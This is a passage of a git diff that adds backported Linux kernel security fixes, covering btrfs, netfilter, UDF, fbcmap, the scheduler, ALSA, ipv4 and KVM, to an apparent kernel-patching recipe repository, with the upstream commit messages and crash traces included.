btrfs_release_path(path); ++ di = NULL; ++ } + ++ ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode), ++ name, name_len, value, size); ++ if (ret == -EOVERFLOW) { + /* +- * remove the attribute ++ * We have an existing item in a leaf, split_leaf couldn't ++ * expand it. That item might have or not a dir_item that ++ * matches our target xattr, so lets check. + */ +- if (!value) +- goto out; +- } else { +- di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode), +- name, name_len, 0); +- if (IS_ERR(di)) { +- ret = PTR_ERR(di); ++ ret = 0; ++ btrfs_assert_tree_locked(path->nodes[0]); ++ di = btrfs_match_dir_item_name(root, path, name, name_len); ++ if (!di && !(flags & XATTR_REPLACE)) { ++ ret = -ENOSPC; + goto out; + } +- if (!di && !value) +- goto out; +- btrfs_release_path(path); ++ } else if (ret == -EEXIST) { ++ ret = 0; ++ di = btrfs_match_dir_item_name(root, path, name, name_len); ++ if(!di) { /* logic error */ ++ pr_err("BTRFS: assertion failed: %s, file: %s, line: %d", ++ "di", __FILE__, __LINE__); ++ BUG(); ++ } ++ } else if (ret) { ++ goto out; + } + +-again: +- ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode), +- name, name_len, value, size); +- /* +- * If we're setting an xattr to a new value but the new value is say +- * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting +- * back from split_leaf. This is because it thinks we'll be extending +- * the existing item size, but we're asking for enough space to add the +- * item itself. So if we get EOVERFLOW just set ret to EEXIST and let +- * the rest of the function figure it out. +- */ +- if (ret == -EOVERFLOW) ++ if (di && (flags & XATTR_CREATE)) { + ret = -EEXIST; ++ goto out; ++ } + +- if (ret == -EEXIST) { +- if (flags & XATTR_CREATE) +- goto out; ++ if (di) { + /* +- * We can't use the path we already have since we won't have the +- * proper locking for a delete, so release the path and +- * re-lookup to delete the thing. ++ * We're doing a replace, and it must be atomic, that is, at ++ * any point in time we have either the old or the new xattr ++ * value in the tree. We don't want readers (getxattr and ++ * listxattrs) to miss a value, this is specially important ++ * for ACLs. + */ +- btrfs_release_path(path); +- di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), +- name, name_len, -1); +- if (IS_ERR(di)) { +- ret = PTR_ERR(di); +- goto out; +- } else if (!di) { +- /* Shouldn't happen but just in case... */ +- btrfs_release_path(path); +- goto again; ++ const int slot = path->slots[0]; ++ struct extent_buffer *leaf = path->nodes[0]; ++ const u16 old_data_len = btrfs_dir_data_len(leaf, di); ++ const u32 item_size = btrfs_item_size_nr(leaf, slot); ++ const u32 data_size = sizeof(*di) + name_len + size; ++ struct btrfs_item *item; ++ unsigned long data_ptr; ++ char *ptr; ++ ++ if (size > old_data_len) { ++ if (btrfs_leaf_free_space(root, leaf) < ++ (size - old_data_len)) { ++ ret = -ENOSPC; ++ goto out; ++ } + } + +- ret = btrfs_delete_one_dir_name(trans, root, path, di); +- if (ret) +- goto out; ++ if (old_data_len + name_len + sizeof(*di) == item_size) { ++ /* No other xattrs packed in the same leaf item. */ ++ if (size > old_data_len) ++ btrfs_extend_item(root, path, ++ size - old_data_len); ++ else if (size < old_data_len) ++ btrfs_truncate_item(root, path, data_size, 1); ++ } else { ++ /* There are other xattrs packed in the same item. */ ++ ret = btrfs_delete_one_dir_name(trans, root, path, di); ++ if (ret) ++ goto out; ++ btrfs_extend_item(root, path, data_size); ++ } + ++ item = btrfs_item_nr(NULL, slot); ++ ptr = btrfs_item_ptr(leaf, slot, char); ++ ptr += btrfs_item_size(leaf, item) - data_size; ++ di = (struct btrfs_dir_item *)ptr; ++ btrfs_set_dir_data_len(leaf, di, size); ++ data_ptr = ((unsigned long)(di + 1)) + name_len; ++ write_extent_buffer(leaf, value, data_ptr, size); ++ btrfs_mark_buffer_dirty(leaf); ++ } else { + /* +- * We have a value to set, so go back and try to insert it now. ++ * Insert, and we had space for the xattr, so path->slots[0] is ++ * where our xattr dir_item is and btrfs_insert_xattr_item() ++ * filled it. + */ +- if (value) { +- btrfs_release_path(path); +- goto again; +- } + } + out: + btrfs_free_path(path); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0117-a843619f1b75-netfilter nfconntrack reserve two bytes for nfctextlen.patch b/recipes-kernel/linux/linux-bass/autopatcher/0117-a843619f1b75-netfilter nfconntrack reserve two bytes for nfctextlen.patch new file mode 100644 index 0000000..81700f7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0117-a843619f1b75-netfilter nfconntrack reserve two bytes for nfctextlen.patch @@ -0,0 +1,56 @@ +From a843619f1b755a2870f235b8aab5d2cc327bf456 Mon Sep 17 00:00:00 2001 +From: Andrey Vagin +Date: Fri, 28 Mar 2014 13:54:32 +0400 +Subject: netfilter: nf_conntrack: reserve two bytes for nf_ct_ext->len + +commit 223b02d923ecd7c84cf9780bb3686f455d279279 upstream. + +"len" contains sizeof(nf_ct_ext) and size of extensions. In a worst +case it can contain all extensions. Bellow you can find sizes for all +types of extensions. Their sum is definitely bigger than 256. + +nf_ct_ext_types[0]->len = 24 +nf_ct_ext_types[1]->len = 32 +nf_ct_ext_types[2]->len = 24 +nf_ct_ext_types[3]->len = 32 +nf_ct_ext_types[4]->len = 152 +nf_ct_ext_types[5]->len = 2 +nf_ct_ext_types[6]->len = 16 +nf_ct_ext_types[7]->len = 8 + +I have seen "len" up to 280 and my host has crashes w/o this patch. + +The right way to fix this problem is reducing the size of the ecache +extension (4) and Florian is going to do this, but these changes will +be quite large to be appropriate for a stable tree. + +Fixes: 5b423f6a40a0 (netfilter: nf_conntrack: fix racy timer handling with reliable) +Cc: Pablo Neira Ayuso +Cc: Patrick McHardy +Cc: Jozsef Kadlecsik +Cc: "David S. Miller" +Signed-off-by: Andrey Vagin +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Greg Kroah-Hartman +--- + include/net/netfilter/nf_conntrack_extend.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/include/net/netfilter/nf_conntrack_extend.h b/include/net/netfilter/nf_conntrack_extend.h +index 331310851cfb0..86dd7dd3d6173 100644 +--- a/include/net/netfilter/nf_conntrack_extend.h ++++ b/include/net/netfilter/nf_conntrack_extend.h +@@ -41,8 +41,8 @@ enum nf_ct_ext_id { + /* Extensions: optional stuff which isn't permanently in struct. */ + struct nf_ct_ext { + struct rcu_head rcu; +- u8 offset[NF_CT_EXT_NUM]; +- u8 len; ++ u16 offset[NF_CT_EXT_NUM]; ++ u16 len; + char data[0]; + }; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0118-a1d47b262952-udf Verify symlink size before loading it.patch b/recipes-kernel/linux/linux-bass/autopatcher/0118-a1d47b262952-udf Verify symlink size before loading it.patch new file mode 100644 index 0000000..18a3d3d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0118-a1d47b262952-udf Verify symlink size before loading it.patch @@ -0,0 +1,67 @@ +From a1d47b262952a45aae62bd49cfaf33dd76c11a2c Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Fri, 19 Dec 2014 12:21:47 +0100 +Subject: udf: Verify symlink size before loading it + +UDF specification allows arbitrarily large symlinks. However we support +only symlinks at most one block large. Check the length of the symlink +so that we don't access memory beyond end of the symlink block. + +CC: stable@vger.kernel.org +Reported-by: Carl Henrik Lunde +Signed-off-by: Jan Kara +--- + fs/udf/symlink.c | 17 +++++++++++++---- + 1 file changed, 13 insertions(+), 4 deletions(-) + +diff --git a/fs/udf/symlink.c b/fs/udf/symlink.c +index 6fb7945c1e6e8..c3aa6fafd6cf6 100644 +--- a/fs/udf/symlink.c ++++ b/fs/udf/symlink.c +@@ -80,11 +80,17 @@ static int udf_symlink_filler(struct file *file, struct page *page) + struct inode *inode = page->mapping->host; + struct buffer_head *bh = NULL; + unsigned char *symlink; +- int err = -EIO; ++ int err; + unsigned char *p = kmap(page); + struct udf_inode_info *iinfo; + uint32_t pos; + ++ /* We don't support symlinks longer than one block */ ++ if (inode->i_size > inode->i_sb->s_blocksize) { ++ err = -ENAMETOOLONG; ++ goto out_unmap; ++ } ++ + iinfo = UDF_I(inode); + pos = udf_block_map(inode, 0); + +@@ -94,8 +100,10 @@ static int udf_symlink_filler(struct file *file, struct page *page) + } else { + bh = sb_bread(inode->i_sb, pos); + +- if (!bh) +- goto out; ++ if (!bh) { ++ err = -EIO; ++ goto out_unlock_inode; ++ } + + symlink = bh->b_data; + } +@@ -109,9 +117,10 @@ static int udf_symlink_filler(struct file *file, struct page *page) + unlock_page(page); + return 0; + +-out: ++out_unlock_inode: + up_read(&iinfo->i_data_sem); + SetPageError(page); ++out_unmap: + kunmap(page); + unlock_page(page); + return err; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0119-a2b5237ad265-fbcmap prevent memory overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0119-a2b5237ad265-fbcmap prevent memory overflow.patch new file mode 100644 index 0000000..29a5e0d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0119-a2b5237ad265-fbcmap prevent memory overflow.patch @@ -0,0 +1,39 @@ +From a2b5237ad265ec634489c8b296d870827b2a1b13 Mon Sep 17 00:00:00 2001 +From: Shalabh Jain +Date: Tue, 12 Nov 2013 15:10:44 -0800 +Subject: fbcmap: prevent memory overflow + +Add bounds check before copying data to prevent +buffer overflow. + +Change-Id: I47b9685b1ab13c4863fb6db62bbb9497a00b36da +Signed-off-by: Shalabh Jain +--- + drivers/video/fbcmap.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +(limited to 'drivers/video') + +diff --git a/drivers/video/fbcmap.c b/drivers/video/fbcmap.c +index 31e93a5..f26570d 100644 +--- a/drivers/video/fbcmap.c ++++ b/drivers/video/fbcmap.c +@@ -203,11 +203,13 @@ int fb_cmap_to_user(const struct fb_cmap *from, struct fb_cmap_user *to) + fromoff = to->start - from->start; + else + tooff = from->start - to->start; ++ if ((to->len <= tooff) || (from->len <= fromoff)) ++ return -EINVAL; ++ + size = to->len - tooff; ++ + if (size > (int) (from->len - fromoff)) + size = from->len - fromoff; +- if (size <= 0) +- return -EINVAL; + size *= sizeof(u16); + + if (from->red && to->red) +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0120-4efbc454ba68-sched Fix information leak in sysschedgetattr.patch b/recipes-kernel/linux/linux-bass/autopatcher/0120-4efbc454ba68-sched Fix information leak in sysschedgetattr.patch new file mode 100644 index 0000000..b8a5f3c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0120-4efbc454ba68-sched Fix information leak in sysschedgetattr.patch @@ -0,0 +1,44 @@ +From 4efbc454ba68def5ef285b26ebfcfdb605b52755 Mon Sep 17 00:00:00 2001 +From: Vegard Nossum +Date: Sun, 16 Feb 2014 22:24:17 +0100 +Subject: sched: Fix information leak in sys_sched_getattr() + +We're copying the on-stack structure to userspace, but forgot to give +the right number of bytes to copy. This allows the calling process to +obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent +kernel memory). + +This fix copies only as much as we actually have on the stack +(attr->size defaults to the size of the struct) and leaves the rest of +the userspace-provided buffer untouched. + +Found using kmemcheck + trinity. + +Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI") +Cc: Dario Faggioli +Cc: Juri Lelli +Cc: Ingo Molnar +Signed-off-by: Vegard Nossum +Signed-off-by: Peter Zijlstra +Link: http://lkml.kernel.org/r/1392585857-10725-1-git-send-email-vegard.nossum@oracle.com +Signed-off-by: Thomas Gleixner +--- + kernel/sched/core.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kernel/sched/core.c b/kernel/sched/core.c +index 33d030a133d2..a6e7470166c7 100644 +--- a/kernel/sched/core.c ++++ b/kernel/sched/core.c +@@ -3786,7 +3786,7 @@ static int sched_read_attr(struct sched_attr __user *uattr, + attr->size = usize; + } + +- ret = copy_to_user(uattr, attr, usize); ++ ret = copy_to_user(uattr, attr, attr->size); + if (ret) + return -EFAULT; + +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0121-6217e5ede232-ALSA compress fix an integer overflow check.patch b/recipes-kernel/linux/linux-bass/autopatcher/0121-6217e5ede232-ALSA compress fix an integer overflow check.patch new file mode 100644 index 0000000..e84e4fc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0121-6217e5ede232-ALSA compress fix an integer overflow check.patch @@ -0,0 +1,36 @@ +From 6217e5ede23285ddfee10d2e4ba0cc2d4c046205 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 16 Jul 2014 09:37:04 +0300 +Subject: ALSA: compress: fix an integer overflow check + +I previously added an integer overflow check here but looking at it now, +it's still buggy. + +The bug happens in snd_compr_allocate_buffer(). We multiply +".fragments" and ".fragment_size" and that doesn't overflow but then we +save it in an unsigned int so it truncates the high bits away and we +allocate a smaller than expected size. + +Fixes: b35cc8225845 ('ALSA: compress_core: integer overflow in snd_compr_allocate_buffer()') +Signed-off-by: Dan Carpenter +Signed-off-by: Takashi Iwai +--- + sound/core/compress_offload.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/compress_offload.c b/sound/core/compress_offload.c +index 7403f348ed14..89028fab64fd 100644 +--- a/sound/core/compress_offload.c ++++ b/sound/core/compress_offload.c +@@ -491,7 +491,7 @@ static int snd_compress_check_input(struct snd_compr_params *params) + { + /* first let's check the buffer parameter's */ + if (params->buffer.fragment_size == 0 || +- params->buffer.fragments > SIZE_MAX / params->buffer.fragment_size) ++ params->buffer.fragments > INT_MAX / params->buffer.fragment_size) + return -EINVAL; + + /* now codec parameters */ +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0122-9138f241fc79-ipv4 fix a race in ip4datagramreleasecb.patch b/recipes-kernel/linux/linux-bass/autopatcher/0122-9138f241fc79-ipv4 fix a race in ip4datagramreleasecb.patch new file mode 100644 index 0000000..426e1fe --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0122-9138f241fc79-ipv4 fix a race in ip4datagramreleasecb.patch @@ -0,0 +1,181 @@ +From 9138f241fc79c4124b6ce46ff08a6ec8c07c5ed7 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Tue, 10 Jun 2014 06:43:01 -0700 +Subject: ipv4: fix a race in ip4_datagram_release_cb() + +[ Upstream commit 9709674e68646cee5a24e3000b3558d25412203a ] + +Alexey gave a AddressSanitizer[1] report that finally gave a good hint +at where was the origin of various problems already reported by Dormando +in the past [2] + +Problem comes from the fact that UDP can have a lockless TX path, and +concurrent threads can manipulate sk_dst_cache, while another thread, +is holding socket lock and calls __sk_dst_set() in +ip4_datagram_release_cb() (this was added in linux-3.8) + +It seems that all we need to do is to use sk_dst_check() and +sk_dst_set() so that all the writers hold same spinlock +(sk->sk_dst_lock) to prevent corruptions. + +TCP stack do not need this protection, as all sk_dst_cache writers hold +the socket lock. + +[1] +https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerForKernel + +AddressSanitizer: heap-use-after-free in ipv4_dst_check +Read of size 2 by thread T15453: + [] ipv4_dst_check+0x1a/0x90 ./net/ipv4/route.c:1116 + [] __sk_dst_check+0x89/0xe0 ./net/core/sock.c:531 + [] ip4_datagram_release_cb+0x46/0x390 ??:0 + [] release_sock+0x17a/0x230 ./net/core/sock.c:2413 + [] ip4_datagram_connect+0x462/0x5d0 ??:0 + [] inet_dgram_connect+0x76/0xd0 ./net/ipv4/af_inet.c:534 + [] SYSC_connect+0x15c/0x1c0 ./net/socket.c:1701 + [] SyS_connect+0xe/0x10 ./net/socket.c:1682 + [] system_call_fastpath+0x16/0x1b +./arch/x86/kernel/entry_64.S:629 + +Freed by thread T15455: + [] dst_destroy+0xa8/0x160 ./net/core/dst.c:251 + [] dst_release+0x45/0x80 ./net/core/dst.c:280 + [] ip4_datagram_connect+0xa1/0x5d0 ??:0 + [] inet_dgram_connect+0x76/0xd0 ./net/ipv4/af_inet.c:534 + [] SYSC_connect+0x15c/0x1c0 ./net/socket.c:1701 + [] SyS_connect+0xe/0x10 ./net/socket.c:1682 + [] system_call_fastpath+0x16/0x1b +./arch/x86/kernel/entry_64.S:629 + +Allocated by thread T15453: + [] dst_alloc+0x81/0x2b0 ./net/core/dst.c:171 + [] rt_dst_alloc+0x47/0x50 ./net/ipv4/route.c:1406 + [< inlined >] __ip_route_output_key+0x3e8/0xf70 +__mkroute_output ./net/ipv4/route.c:1939 + [] __ip_route_output_key+0x3e8/0xf70 ./net/ipv4/route.c:2161 + [] ip_route_output_flow+0x14/0x30 ./net/ipv4/route.c:2249 + [] ip4_datagram_connect+0x317/0x5d0 ??:0 + [] inet_dgram_connect+0x76/0xd0 ./net/ipv4/af_inet.c:534 + [] SYSC_connect+0x15c/0x1c0 ./net/socket.c:1701 + [] SyS_connect+0xe/0x10 ./net/socket.c:1682 + [] system_call_fastpath+0x16/0x1b +./arch/x86/kernel/entry_64.S:629 + +[2] +<4>[196727.311203] general protection fault: 0000 [#1] SMP +<4>[196727.311224] Modules linked in: xt_TEE xt_dscp xt_DSCP macvlan bridge coretemp crc32_pclmul ghash_clmulni_intel gpio_ich microcode ipmi_watchdog ipmi_devintf sb_edac edac_core lpc_ich mfd_core tpm_tis tpm tpm_bios ipmi_si ipmi_msghandler isci igb libsas i2c_algo_bit ixgbe ptp pps_core mdio +<4>[196727.311333] CPU: 17 PID: 0 Comm: swapper/17 Not tainted 3.10.26 #1 +<4>[196727.311344] Hardware name: Supermicro X9DRi-LN4+/X9DR3-LN4+/X9DRi-LN4+/X9DR3-LN4+, BIOS 3.0 07/05/2013 +<4>[196727.311364] task: ffff885e6f069700 ti: ffff885e6f072000 task.ti: ffff885e6f072000 +<4>[196727.311377] RIP: 0010:[] [] ipv4_dst_destroy+0x4f/0x80 +<4>[196727.311399] RSP: 0018:ffff885effd23a70 EFLAGS: 00010282 +<4>[196727.311409] RAX: dead000000200200 RBX: ffff8854c398ecc0 RCX: 0000000000000040 +<4>[196727.311423] RDX: dead000000100100 RSI: dead000000100100 RDI: dead000000200200 +<4>[196727.311437] RBP: ffff885effd23a80 R08: ffffffff815fd9e0 R09: ffff885d5a590800 +<4>[196727.311451] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 +<4>[196727.311464] R13: ffffffff81c8c280 R14: 0000000000000000 R15: ffff880e85ee16ce +<4>[196727.311510] FS: 0000000000000000(0000) GS:ffff885effd20000(0000) knlGS:0000000000000000 +<4>[196727.311554] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +<4>[196727.311581] CR2: 00007a46751eb000 CR3: 0000005e65688000 CR4: 00000000000407e0 +<4>[196727.311625] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +<4>[196727.311669] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 +<4>[196727.311713] Stack: +<4>[196727.311733] ffff8854c398ecc0 ffff8854c398ecc0 ffff885effd23ab0 ffffffff815b7f42 +<4>[196727.311784] ffff88be6595bc00 ffff8854c398ecc0 0000000000000000 ffff8854c398ecc0 +<4>[196727.311834] ffff885effd23ad0 ffffffff815b86c6 ffff885d5a590800 ffff8816827821c0 +<4>[196727.311885] Call Trace: +<4>[196727.311907] +<4>[196727.311912] [] dst_destroy+0x32/0xe0 +<4>[196727.311959] [] dst_release+0x56/0x80 +<4>[196727.311986] [] tcp_v4_do_rcv+0x2a5/0x4a0 +<4>[196727.312013] [] tcp_v4_rcv+0x7da/0x820 +<4>[196727.312041] [] ? ip_rcv_finish+0x360/0x360 +<4>[196727.312070] [] ? nf_hook_slow+0x7d/0x150 +<4>[196727.312097] [] ? ip_rcv_finish+0x360/0x360 +<4>[196727.312125] [] ip_local_deliver_finish+0xb2/0x230 +<4>[196727.312154] [] ip_local_deliver+0x4a/0x90 +<4>[196727.312183] [] ip_rcv_finish+0x119/0x360 +<4>[196727.312212] [] ip_rcv+0x22b/0x340 +<4>[196727.312242] [] ? macvlan_broadcast+0x160/0x160 [macvlan] +<4>[196727.312275] [] __netif_receive_skb_core+0x512/0x640 +<4>[196727.312308] [] ? kmem_cache_alloc+0x13b/0x150 +<4>[196727.312338] [] __netif_receive_skb+0x21/0x70 +<4>[196727.312368] [] netif_receive_skb+0x31/0xa0 +<4>[196727.312397] [] napi_gro_receive+0xe8/0x140 +<4>[196727.312433] [] ixgbe_poll+0x551/0x11f0 [ixgbe] +<4>[196727.312463] [] ? ip_rcv+0x22b/0x340 +<4>[196727.312491] [] net_rx_action+0x111/0x210 +<4>[196727.312521] [] ? __netif_receive_skb+0x21/0x70 +<4>[196727.312552] [] __do_softirq+0xd0/0x270 +<4>[196727.312583] [] call_softirq+0x1c/0x30 +<4>[196727.312613] [] do_softirq+0x55/0x90 +<4>[196727.312640] [] irq_exit+0x55/0x60 +<4>[196727.312668] [] do_IRQ+0x63/0xe0 +<4>[196727.312696] [] common_interrupt+0x6a/0x6a +<4>[196727.312722] +<1>[196727.313071] RIP [] ipv4_dst_destroy+0x4f/0x80 +<4>[196727.313100] RSP +<4>[196727.313377] ---[ end trace 64b3f14fae0f2e29 ]--- +<0>[196727.380908] Kernel panic - not syncing: Fatal exception in interrupt + +Reported-by: Alexey Preobrazhensky +Reported-by: dormando +Signed-off-by: Eric Dumazet +Fixes: 8141ed9fcedb2 ("ipv4: Add a socket release callback for datagram sockets") +Cc: Steffen Klassert +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/datagram.c | 20 +++++++++++++++----- + 1 file changed, 15 insertions(+), 5 deletions(-) + +diff --git a/net/ipv4/datagram.c b/net/ipv4/datagram.c +index 19e36376d2a08..5f3dc1df04bf2 100644 +--- a/net/ipv4/datagram.c ++++ b/net/ipv4/datagram.c +@@ -86,18 +86,26 @@ out: + } + EXPORT_SYMBOL(ip4_datagram_connect); + ++/* Because UDP xmit path can manipulate sk_dst_cache without holding ++ * socket lock, we need to use sk_dst_set() here, ++ * even if we own the socket lock. ++ */ + void ip4_datagram_release_cb(struct sock *sk) + { + const struct inet_sock *inet = inet_sk(sk); + const struct ip_options_rcu *inet_opt; + __be32 daddr = inet->inet_daddr; ++ struct dst_entry *dst; + struct flowi4 fl4; + struct rtable *rt; + +- if (! __sk_dst_get(sk) || __sk_dst_check(sk, 0)) +- return; +- + rcu_read_lock(); ++ ++ dst = __sk_dst_get(sk); ++ if (!dst || !dst->obsolete || dst->ops->check(dst, 0)) { ++ rcu_read_unlock(); ++ return; ++ } + inet_opt = rcu_dereference(inet->inet_opt); + if (inet_opt && inet_opt->opt.srr) + daddr = inet_opt->opt.faddr; +@@ -105,8 +113,10 @@ void ip4_datagram_release_cb(struct sock *sk) + inet->inet_saddr, inet->inet_dport, + inet->inet_sport, sk->sk_protocol, + RT_CONN_FLAGS(sk), sk->sk_bound_dev_if); +- if (!IS_ERR(rt)) +- __sk_dst_set(sk, &rt->dst); ++ ++ dst = !IS_ERR(rt) ? &rt->dst : NULL; ++ sk_dst_set(sk, dst); ++ + rcu_read_unlock(); + } + EXPORT_SYMBOL_GPL(ip4_datagram_release_cb); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0123.diff b/recipes-kernel/linux/linux-bass/autopatcher/0123.diff new file mode 100644 index 0000000..a77e242 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0123.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/regulator/core.c b/drivers/regulator/core.c +index 815d6df..62d7ee7 100644 +--- a/drivers/regulator/core.c ++++ b/drivers/regulator/core.c +@@ -1531,6 +1531,8 @@ + gpio_free(pin->gpio); + list_del(&pin->list); + kfree(pin); ++ rdev->ena_pin = NULL; ++ return; + } else { + pin->request_count--; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0124-3478a33e0c62-KVM x86 SYSENTER emulation is broken.patch b/recipes-kernel/linux/linux-bass/autopatcher/0124-3478a33e0c62-KVM x86 SYSENTER emulation is broken.patch new file mode 100644 index 0000000..2c9f318 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0124-3478a33e0c62-KVM x86 SYSENTER emulation is broken.patch @@ -0,0 +1,92 @@ +From 3478a33e0c6204b4368c508a1175b2c027644968 Mon Sep 17 00:00:00 2001 +From: Nadav Amit +Date: Thu, 1 Jan 2015 23:11:11 +0200 +Subject: KVM: x86: SYSENTER emulation is broken + +commit f3747379accba8e95d70cec0eae0582c8c182050 upstream. + +SYSENTER emulation is broken in several ways: +1. It misses the case of 16-bit code segments completely (CVE-2015-0239). +2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can + still be set without causing #GP). +3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in + legacy-mode. +4. There is some unneeded code. + +Fix it. + +Signed-off-by: Nadav Amit +Signed-off-by: Paolo Bonzini +[zhangzhiqiang: backport to 3.10: + - adjust context + - in 3.10 context "ctxt->eflags &= ~(EFLG_VM | EFLG_IF | EFLG_RF)" is replaced by + "ctxt->eflags &= ~(EFLG_VM | EFLG_IF)" in upstream, which was changed by another commit. + - After the above adjustments, becomes same to the original patch: + https://github.com/torvalds/linux/commit/f3747379accba8e95d70cec0eae0582c8c182050 +] +Signed-off-by: Zhiqiang Zhang +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/emulate.c | 27 ++++++++------------------- + 1 file changed, 8 insertions(+), 19 deletions(-) + +diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c +index af88fa20dbe86..ddad189e596e6 100644 +--- a/arch/x86/kvm/emulate.c ++++ b/arch/x86/kvm/emulate.c +@@ -2450,7 +2450,7 @@ static int em_sysenter(struct x86_emulate_ctxt *ctxt) + * Not recognized on AMD in compat mode (but is recognized in legacy + * mode). + */ +- if ((ctxt->mode == X86EMUL_MODE_PROT32) && (efer & EFER_LMA) ++ if ((ctxt->mode != X86EMUL_MODE_PROT64) && (efer & EFER_LMA) + && !vendor_intel(ctxt)) + return emulate_ud(ctxt); + +@@ -2463,25 +2463,13 @@ static int em_sysenter(struct x86_emulate_ctxt *ctxt) + setup_syscalls_segments(ctxt, &cs, &ss); + + ops->get_msr(ctxt, MSR_IA32_SYSENTER_CS, &msr_data); +- switch (ctxt->mode) { +- case X86EMUL_MODE_PROT32: +- if ((msr_data & 0xfffc) == 0x0) +- return emulate_gp(ctxt, 0); +- break; +- case X86EMUL_MODE_PROT64: +- if (msr_data == 0x0) +- return emulate_gp(ctxt, 0); +- break; +- default: +- break; +- } ++ if ((msr_data & 0xfffc) == 0x0) ++ return emulate_gp(ctxt, 0); + + ctxt->eflags &= ~(EFLG_VM | EFLG_IF | EFLG_RF); +- cs_sel = (u16)msr_data; +- cs_sel &= ~SELECTOR_RPL_MASK; ++ cs_sel = (u16)msr_data & ~SELECTOR_RPL_MASK; + ss_sel = cs_sel + 8; +- ss_sel &= ~SELECTOR_RPL_MASK; +- if (ctxt->mode == X86EMUL_MODE_PROT64 || (efer & EFER_LMA)) { ++ if (efer & EFER_LMA) { + cs.d = 0; + cs.l = 1; + } +@@ -2490,10 +2478,11 @@ static int em_sysenter(struct x86_emulate_ctxt *ctxt) + ops->set_segment(ctxt, ss_sel, &ss, 0, VCPU_SREG_SS); + + ops->get_msr(ctxt, MSR_IA32_SYSENTER_EIP, &msr_data); +- ctxt->_eip = msr_data; ++ ctxt->_eip = (efer & EFER_LMA) ? msr_data : (u32)msr_data; + + ops->get_msr(ctxt, MSR_IA32_SYSENTER_ESP, &msr_data); +- *reg_write(ctxt, VCPU_REGS_RSP) = msr_data; ++ *reg_write(ctxt, VCPU_REGS_RSP) = (efer & EFER_LMA) ? msr_data : ++ (u32)msr_data; + + return X86EMUL_CONTINUE; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0125-e20f20aaed6b-msm broadcast Remove unused TSC and TSPP2 drivers.patch b/recipes-kernel/linux/linux-bass/autopatcher/0125-e20f20aaed6b-msm broadcast Remove unused TSC and TSPP2 drivers.patch new file mode 100644 index 0000000..3af61d8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0125-e20f20aaed6b-msm broadcast Remove unused TSC and TSPP2 drivers.patch @@ -0,0 +1,12987 @@ +From e20f20aaed6b6d2fd1667bad9be9ef35103a51df Mon Sep 17 00:00:00 2001 +From: Liron Kuch +Date: Sun, 6 Sep 2015 11:19:39 +0300 +Subject: msm: broadcast: Remove unused TSC and TSPP2 drivers + +TSC and TSPP2 were HW blocks in MPQ8092 target which is +no longer supported. Remove TSC and TSPP2 drivers to +eliminate unused code. + +Change-Id: Ibb55ae0d15b33ba5855bde69e78925d23def3c6b +Signed-off-by: Liron Kuch +--- + Documentation/arm/msm/tsc.txt | 398 -- + Documentation/arm/msm/tspp2.txt | 497 -- + drivers/media/platform/msm/broadcast/Makefile | 2 - + drivers/media/platform/msm/broadcast/tsc.c | 3450 ---------- + drivers/media/platform/msm/broadcast/tspp2.c | 8578 ------------------------- + 5 files changed, 12925 deletions(-) + delete mode 100644 Documentation/arm/msm/tsc.txt + delete mode 100644 Documentation/arm/msm/tspp2.txt + delete mode 100644 drivers/media/platform/msm/broadcast/tsc.c + delete mode 100644 drivers/media/platform/msm/broadcast/tspp2.c + +diff --git a/Documentation/arm/msm/tsc.txt b/Documentation/arm/msm/tsc.txt +deleted file mode 100644 +index 11e74a2..0000000 +--- 